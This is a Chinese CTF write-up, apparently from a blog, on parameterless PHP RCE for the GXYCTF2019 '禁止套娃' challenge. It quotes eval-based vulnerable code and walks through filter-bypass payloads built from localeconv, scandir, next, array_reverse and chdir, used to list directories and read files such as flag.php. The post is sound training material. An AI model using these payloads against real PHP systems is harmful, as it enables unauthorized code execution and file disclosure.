首页 > 其他分享 >无参数RCE实践

无参数RCE实践

时间:2023-09-16 17:46:36浏览次数:30  
标签:exp preg 实践 参数 数组 RCE scandir string 函数

来自:

[GXYCTF2019]禁止套娃

首先打开一看,什么都没有:

查看源码也啥都没有,没有hint。

那这种情况下估计是源码泄露,我们用dirsearch扫一下:

扫了一堆git出来,估计就是git泄露。

这里就需要第二个工具githack,拿到源码文件:

打开一看,确定了是文件包含:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

但是这里有三个正则表达式的函数拦着,第一个preg_match()很显然,我们用不了php伪协议/phar伪协议,这些被ban掉了。

正则表达式的补充:http://c.biancheng.net/view/7569.html

第二个preg_replace意思是传入的exp把值中的整个函数变成了分号 ; 

并且必须是变成了分号才能if成功继续进行下去。

百度的解释是:

这段PHP代码首先使用preg_replace函数,它执行一个正则表达式的搜索和替换。在这里,它会搜索'[a-z,_]+((?R)?)'这个正则表达式模式,并且将其替换为NULL。NULL表示删除找到的匹配项,也就是在这里,它将删除找到的函数或方法名及其括号。然后,如果经过这个替换操作后,$_GET['exp']的值变成了';'(也就是原来的函数或方法调用被完全删除),那么if语句的条件就为真,代码块中的内容将被执行。

整体会变成分号。即使用户输入的字符串是'testFunction(arg1, arg2);',经过preg_replace函数处理后,结果会变成';'。这个正则表达式会把整个函数或方法名及其括号替换为分号。

这里就是典型的无参数RCE问题。

可以参考一下这三篇博客,写的很不错:

https://xz.aliyun.com/t/6316#toc-3

https://blog.csdn.net/2302_76827504/article/details/130427099(这个博客里也有引用其他的优质博客,可以都看看)

https://www.xujun.org/note-116037.html

  1. preg_replace('/[a-z,_]+\((?R)?\)/'可知,这里只允许无参数的函数传递进来。并且函数名只能为字母,不能包含下划线等其他特殊字符。
  2. 过滤了很多的关键字:et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log

 

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)

1.png

要怎么取到这个点呢,另一个函数:

current()返回数组中的单元,默认取第一个值:

2.png

print_r(scandir(current(localeconv())));成功打印出当前目录下文件:

3.png

或者使用print_r(scandir(pos(localeconv())));,pos是current的别名

如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE

 

 

来看补充:

我们能不能直接读文件?
之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?
那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()获取当前目录

?code=var_dump(getcwd());
string(13) "/var/www/html"
 

那么怎么进行当前目录的目录遍历呢?
这里用scandir()即可

?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
 

那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可

?code=var_dump(scandir(dirname(getcwd())));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
 

那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录

chdir ( string $directory ) : bool
 
将 PHP 的当前目录改为 directory。
所以我们这里在

dirname(getcwd())
 
进行如下设置即可

chdir(dirname(getcwd()))
 

我们尝试读取/var/www/123

http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
即可进行文件读取。

(来自:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

接下来是解决这道题的两个办法:

法一

所需要的基础函数:

localeconv(),回显数组,第一个数组是字符"."点号

pos(),传入数组,回显第一个数组的值,pos可以用current代替

所以pos(localeconv())等价于.号

而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件

再配合print_r函数输出数组

 那么payload:

exp=print_r(scandir(pos(localeconv())));

也可以var_dump():

 可以看到下标为3是我们的flag.php,也就是倒数第二个。

怎么调用到呢?

这里可以用一个array_reverse()函数翻转数组,然后用next()的方式指向下一个数组,也就是指向了第二个数组,然后用show_source()函数就可以拿flag。

 

法二

来自:

https://blog.csdn.net/l2872253606/article/details/125246229

利用session_id代替flag.php

 

 

标签:exp,preg,实践,参数,数组,RCE,scandir,string,函数
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17707010.html

相关文章

  • Bash-变量(自定义/预定义/环境/位置参数)
    变量设置规则变量名称可由字母、数字和下划线组成,但不能以数字开头(与python命名规则一致)Bash中,变量的默认类型都是字符串型,如果要数值运算,则必须指定变量为数值型变量由=连接值,等号左右两侧不能为空变量的值如果有空格,需要用单引号或双引号包含变量的值可以使用'\'转义符......
  • obs上传文件到服务器,附件同步到华为云OBS存储备份实践(服务端API应用)
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Threading.Tasks;usingGrapeCity.Forguncy.ServerApi;usingOBS;usingOBS.Model;namespaceFileToHuaweiOBS{publicclassFileToHuaweiOBS:Forgunc......
  • Codeforces Global Round 17 A. Anti Light's Cell Guessing
    给一个\(n\timesm\)的网格,里面藏了一个炸弹\((x_0,y_0)\)。你可以选择\(k\)个坐标\((x_1,y_1),(x_2,y_2),\cdots,(x_k,y_k)\)。第\(i\)次选择计算机会回复你一个数\(d_i=|x_0-x_i|+|y_0-y_i|\)。至少需要选出多少个坐标才能确定\((x_0,y_0)\)的位......
  • 从DevOps实践落地的角度谈谈“流程”和“规范"的反模式
    最近在经历的一些事情,让我突发灵感,觉得要写点关于DevOps体系建设过程中的“流程规范”,记录下来。如何解读"流程规范"谈到DevOps落地,无一例外都会提“流程规范“,我想没有人会反对,甚至会”不放在眼里“,因为概念本身没有什么晦涩难懂。可是一到落地,好像就是另外一番场景,“一地鸡......
  • 综合RCE
    一道综合RCE,考察的东西还是挺多的。这里所需要的知识首先是php伪协议文件包含,然后是一种大小写替换正则表达式的绕过。可以先看看这个,加强理论知识理解,事半功倍。https://xz.aliyun.com/t/2557来吧捏麻麻的,开工!来自:[BJDCTF2020]ZJCTF,不过如此前面跟bugkuwelcometobugkuc......
  • 接口测试实践例子(内含不同接口只需登录一次的方法“自动登录”)
    一、接口文档1.API文档2.需求文档接口测试工具--》接口测试脚本--》接口测试框架二、利用fixture自动化就绪测试条件-部分接口来说,需要保持登录状态-部分接口来说,需要接口关联-动态数据接口信息-任务列表接口地址GEThttps://api.tttt.one/rest-v2/todo参数无响......
  • MT8175核心板_MTK8175安卓核心板性能参数介绍
    MT8175核心板是一款高效能、低功耗的智能模块,专为语音助理应用而设计。该核心板采用先进且节能的12nm工艺制程,搭载四核Arm-CortexA53MPCoreTM中央处理器和高达2GHz的ArmNEON引擎,以及具备624MHz速度的AI处理单元(APU)和600MHz可程式化音讯DSP。此外,它还配备本地SRAM储存,提......
  • Codeforces Round 764 (Div. 3) B. Make AP
    有三个正整数\(a,b,c\)。需要执行以下操作严格一次:选择任意一个正整数\(m\)并让严格一个\(a,b,c\)之一乘以\(m\)。但不能改变他们的顺序。回答是否可以经过一次操作后使\(a,b,c\)变为等差。分类讨论题:三种情况满足一种即可。(已知\(a,b,c\geq1\))\(ma......
  • Codeforces Round 773 (Div. 2) B. Power Walking
    有\(n\)个增幅道具,第\(i\)个道具种类为\(a_i\),一个人的强度\(w\)为他所有道具的种类数。对于\(k]\in[1,n]\),询问将\(n\)个道具分配给\(k\)个人且每个人至少分配到一个道具后,能够得到的最想强度和\(\sum_{i=1}^{n}w_i\)。观察一:最低强度和\(\sum_{i=1}^{k}w......
  • Educational Codeforces Round 100
    B.FindTheArray对于条件二来说,1是万金油的存在,所以我们只需要把奇数位置或偶数位置全部变成1即可。因为要求差值小于\(\fracs2\),所以我可以求出奇偶位的和修改较小值即可。#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongusingpii=pair<in......